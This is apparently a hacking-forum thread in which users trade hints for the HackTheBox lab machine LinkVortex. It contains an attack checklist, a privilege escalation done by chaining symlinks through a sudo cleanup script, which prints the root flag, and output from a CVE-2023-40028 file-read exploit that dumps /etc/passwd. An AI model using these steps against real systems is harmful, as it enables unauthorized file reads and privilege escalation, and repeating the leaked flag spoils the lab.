HTB LinkVortex - Easy Linux
by cashiwoo - Saturday December 7, 2024 at 04:07 PM
#11
(Dec 07, 2024, 08:39 PM)ritualist Wrote: Dockerfile.ghost has the path to the config file
Use https://github.com/0xyassine/CVE-2023-40028 to read it

For root you can either use chained symlinks to get the root flag / ssh key or just put your code for e.g. a suid bash in the CHECK_CONTENT variable.

I cannot symlink it

(Dec 07, 2024, 08:39 PM)ritualist Wrote: Dockerfile.ghost has the path to the config file
Use https://github.com/0xyassine/CVE-2023-40028 to read it

For root you can either use chained symlinks to get the root flag / ssh key or just put your code for e.g. a suid bash in the CHECK_CONTENT variable.

I cannot symlink it

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#12
- dump .git
- get creds
- login as admin
- CVE-2023-40028
- read config, to find user password
- sudo privilege
Thanks @paw for the rank!!
Reply
#13
HTB LinkVortex - Easy writeup
Hidden Content
You must register or login to view this content.
Reply
#14
(Dec 07, 2024, 08:39 PM)ritualist Wrote: Dockerfile.ghost has the path to the config file
Use https://github.com/0xyassine/CVE-2023-40028 to read it

For root you can either use chained symlinks to get the root flag / ssh key or just put your code for e.g. a suid bash in the CHECK_CONTENT variable.

Thank you...
bob@linkvortex:~$ ln -s /root/root.txt pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
911be11ee404e95c2e1f273ed2039179
bob@linkvortex:~$
Reply
#15
(Dec 07, 2024, 09:36 PM)MEGAZORD Wrote:
(Dec 07, 2024, 08:39 PM)Kontoru123 Wrote: 0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <dev@linkvortex.htb> 1730322603 +0000 clone: from https://github.com/TryGhost/Ghost.git

Which dir is it?? Found the password, but the test user seems incorrect

Use:
http://dev.linkvortex.htb/.git/logs/HEAD for that info:
Reply
#16
What the heck is this CHECK_CONTENT ?
Reply
#17
(Dec 07, 2024, 10:09 PM)DarKGh0sT Wrote: What the heck is this CHECK_CONTENT ?

Breakdown of the Command Line

sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png

sudo: This part of the command runs the following script with superuser (root) privileges. This is important because some operations might require higher permissions to execute properly.

CHECK_CONTENT=true: This sets an environment variable named CHECK_CONTENT to true. Environment variables can be used by the script to influence its behavior. In this case, it seems like the script may need to know whether to check the content of the file or not. in our case YES

/usr/bin/bash: This specifies that the script should be run using the Bash shell.

/opt/ghost/clean_symlink.sh: This is the path to the script that will be executed. The script is located in the /opt/ghost/ directory and is named clean_symlink.sh.

/home/bob/pwn.png: This is the argument passed to the script. It looks like the script will operate on the file /home/bob/pwn.png.
====
CHECK_CONTENT is not a standard environment variable.
It can be used in any shell scripting language to pass specific settings or configurations to programs.
Reply
#18
(Dec 07, 2024, 08:23 PM)ritualist Wrote:
(Dec 07, 2024, 08:21 PM)StingEm Wrote: https://github.com/0xyassine/CVE-2023-40028  - Look into this - edit the URL and work from there - if you have not found login yet:



YOU WILL LOG IN LIKE THIS:

file> /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Check the git repo again for the full path to the config file.
Use it to login with ssh and get the user flag.

did u mean "ghost/core/core/shared/config/env/config.production.json", but in what way did u login if this is correct if not, please tell how to find the creds and is there any login page also? srry but this git stuff is crazy
Reply
#19
Hi,
Can anyone explain to me why this happened? I changed the host to linkvortex.htb:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p FOUNDPASSWORD
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
ln: failed to create symbolic link './exploit/content/images/2024/I6WM1TUiiJqbx.png': Operation not permitted
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
rm: cannot remove './exploit/content/images/2024/I6WM1TUiiJqbx.png': No such file or directory
file> ^C
Reply
#20
(Dec 08, 2024, 08:06 AM)htbdesperate Wrote: Hi,
Can anyone explain to me why this happened? I changed the host to linkvortex.htb:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p FOUNDPASSWORD
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
ln: failed to create symbolic link './exploit/content/images/2024/I6WM1TUiiJqbx.png': Operation not permitted
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
rm: cannot remove './exploit/content/images/2024/I6WM1TUiiJqbx.png': No such file or directory
file> ^C

how did u find the password, i am lost
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,793 6 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,597 11 hours ago
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,218 Yesterday, 02:10 PM
Last Post: kkkato
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,529 Apr 29, 2026, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 417 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)